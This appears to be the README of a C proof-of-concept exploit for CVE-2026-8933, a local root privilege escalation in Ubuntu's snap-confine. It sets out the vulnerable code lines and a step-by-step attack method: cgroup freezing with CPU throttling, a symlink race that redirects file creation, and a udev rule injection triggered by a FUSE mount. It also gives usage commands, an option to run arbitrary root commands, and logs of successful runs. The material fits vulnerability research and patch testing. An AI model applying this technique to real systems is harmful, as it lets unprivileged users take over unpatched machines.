
C proof-of-concept for CVE-2026-8933, a snap-confine local privilege escalation using cgroup freezing, symlink races, and udev rule injection to execute commands as root.
复现 Qualys 公告《Local Privilege Escalation in set-capabilities versions of snap-confine》(https://cdn2.qualys.com/advisory/2026/07/21/snap-confine-set-capabilities.txt)。
Tested on this machine (Ubuntu 25.10 / snapd 2.73+ubuntu25.10.1 / kernel 6.17): starting from uid 1000,
ultimately systemd-udevd executes the command as root, and /tmp/pwned obtains
uid=0(root) gid=0(root) groups=0(root), consistent with the effect demonstrated at the end of the advisory.
For the record of pitfalls encountered during reproduction, and why the first assessment misjudged it as "not exploitable", see NOTES.md.
| File | Description |
|---|---|
poc.c | Complete PoC (single file) |
Makefile | Build (links against the system-installed libfuse3.so.3.17.4) |
include/ | libfuse3 3.17.4 headers (matching the system runtime library) |
NOTES.md | Pitfall record + retrospective on the reachability analysis methodology |
cmd/snap-confine/mount-support.c (snapd 2.73):
sc_bootstrap_mount_namespace() // 第 475 行起
479: mkdtemp("/tmp/snap.rootfs_XXXXXX") <- 目录先归调用者所有
491: sc_do_mount(scratch, scratch, NULL, MS_BIND)
498: sc_do_mount("none", scratch, NULL, MS_UNBINDABLE)
503: sc_do_mount("none", scratch, "tmpfs", ...)
504: sc_replicate_base_rootfs(scratch, rootfs_dir, mounts)
sc_replicate_base_rootfs()
330: chown(scratch, 0, 0)
418: fd = open(full_path, O_CREAT | O_TRUNC, 0644) <- 缺少 O_NOFOLLOW
422: fchown(fd, 0, 0)
Line numbers are taken from the source code of snapd 2.73 on this machine (cmd/snap-confine/mount-support.c). The Qualys
advisory cites its own copy of the file, where the corresponding line numbers are 511 / 523 / 530 / 535 / 536 /
362 / 450 / 454 — the statements correspond one-to-one, only the line numbers differ.
The local /usr/lib/snapd/snap-confine is mode=755 + file capabilities (not
setuid-root), so it runs with the attacker's euid but holds near-root capabilities: the directories and
files it creates belong to the attacker for a short period of time, and the open() on line 418 follows symbolic links.
Disassembly confirms: on this machine the flags of open@plt are 0x240 (O_CREAT|O_TRUNC, without
O_NOFOLLOW); at the same point in the fixed 2.77.1 it is 0x20240.
systemd-run --user --scope --unit=snap.<snap>.<app>. This scope belongs to the current user, cgroup.freeze is writable,
so snap-confine can be released one system call at a time.SNAPD_DEBUG=1, snap-confine prints
associated snap application process ... with device cgroup. This line appears after the
device cgroup's BPF program is attached and before mkdtemp(). Do not freeze earlier:
the BPF verifier returns EAGAIN when a freeze trap is present, and snap-confine exits immediately.
stderr is connected to a pty (not a pipe): otherwise stdio is block-buffered and the marker is often not flushed
until after mkdtemp() and the bind mount.
In addition, the scope is started with CPUQuota=1%: from the marker to mkdtemp() there are only a few hundred microseconds of
CPU time, on the same order as the wake-up latency of the grabbing process; throttling stretches this window in real time to
the millisecond level, and once the freeze is confirmed, cpu.max is immediately restored to 100%.mount(2) follows symlinks in the target
path, so snap-confine's bind/unbindable/tmpfs all land on
<scratch>.dA, while the copy loop still uses the scratch directory as a string.ns_mount_count(sc, .dA) >= 2), repoint the symlink to
<scratch>.dB, and place in dB symlinks with the same names as the top-level regular files of the base rootfs,
pointing to /run/udev/rules.d/97-cve-2026-8933-<pid>-<rand>.rules. At this point the path resolution of the copy loop
falls into dB — an ordinary directory we fully control. The tmpfs is left in dA and no longer
gets in our way.
Note: when there is only 1 mount on .dA, it is a bind mount (after binding, /tmp is itself a tmpfs, so the fstype is still tmpfs); you must wait until the 2nd mount (the real tmpfs) appears before repointing, otherwise
snap-confine's mount --make-unbindable will fail with EINVAL because the path is no longer a mount root.open(O_CREAT|O_TRUNC) on the first regular file (following the symlink, creating the file as root under /run/udev/rules.d),
followed by fchown(fd,0,0). At this instant the file still belongs to us. The PoC uses
two methods at once:
stat() sees the file
and the uid is still our own, immediately chmod 0666 + write the udev rule (at this point snap-confine
is frozen and the window is "held open");chmod() hot loop. After a spinner wins,
the file is owned by root but has mode 0666 — the mode bits are still
preserved after fchown(0,0), so the main path can likewise finish writing it (the code checks "can it be written", not "is it
the owner")./run/udev/** rw.
Mounting/unmounting a FUSE filesystem causes the kernel to emit an add uevent for the bdi subsystem,
and systemd-udevd then executes the rule's PROGRAM= as root.make
./poc --diagnose # 只读自检,不改动任何系统状态
./poc # exploit,默认最多 5 次尝试
./poc --attempts 8 # 增加尝试次数
./poc --file default256.png # 只用 base rootfs 里的这一个普通文件
sudo ./poc --cleanup # 清理(仅在异常中断留下残留时需要)
Parameters:
| Parameter | Description |
|---|---|
--snap NAME | Which snap's rootfs to use (default firefox, can also use the environment variable CVE8933_SNAP) |
--app NAME | The app for that snap (defaults to the first one under apps: in meta/snap.yaml) |
--file NAME | Use only this one regular file from the base rootfs; exit with an error if there is no match |
--attempts N | Number of attempts (default 5) |
--step US / --step2 US | Per-slice CPU time (microseconds) for the two phases, for debugging |
--keep | Keep the <scratch>.dA / .dB directories and symlinks (for debugging) |
--diagnose | Read-only self-check |
--cleanup | Clean up historical leftovers (requires root) |
Logs are written to /tmp/cve8933.log, and snap-confine's debug output is written to
/tmp/cve8933-debug.txt.
CVE8933_PAYLOAD_CMD='<shell command>' can replace the payload body (used to demonstrate executing other
root commands); in this case it will not clean up automatically; the custom command must still write /tmp/pwned, otherwise the PoC will
consider this attempt unsuccessful.
$ ./poc
[+] WIN: uid=0(root) gid=0(root) groups=0(root)
[+] exploit succeeded, evidence in /tmp/pwned
The corresponding successful run in /tmp/cve8933.log (2026-10-23, retest after changes):
[ 0.256] === attempt 1/5 ===
[ 1062.158] marker seen after 750.5 ms
[ 1067.530] scratch dir /tmp/snap.rootfs_oFBraI replaced by a symlink to ...dA
[ 1100.887] bind mount + tmpfs on ...dA after 417 slices
[ 1100.974] scratch directory now points to ...dB with 4 symlinks -> ...rules
[ 1108.782] took the file over while snap-confine was stopped (242 slices)
[ 1108.820] rule written after 797.1 ms
[ 1108.832] target: uid=0 gid=0 mode=0666 size=73 content="ACTION=="add", ..."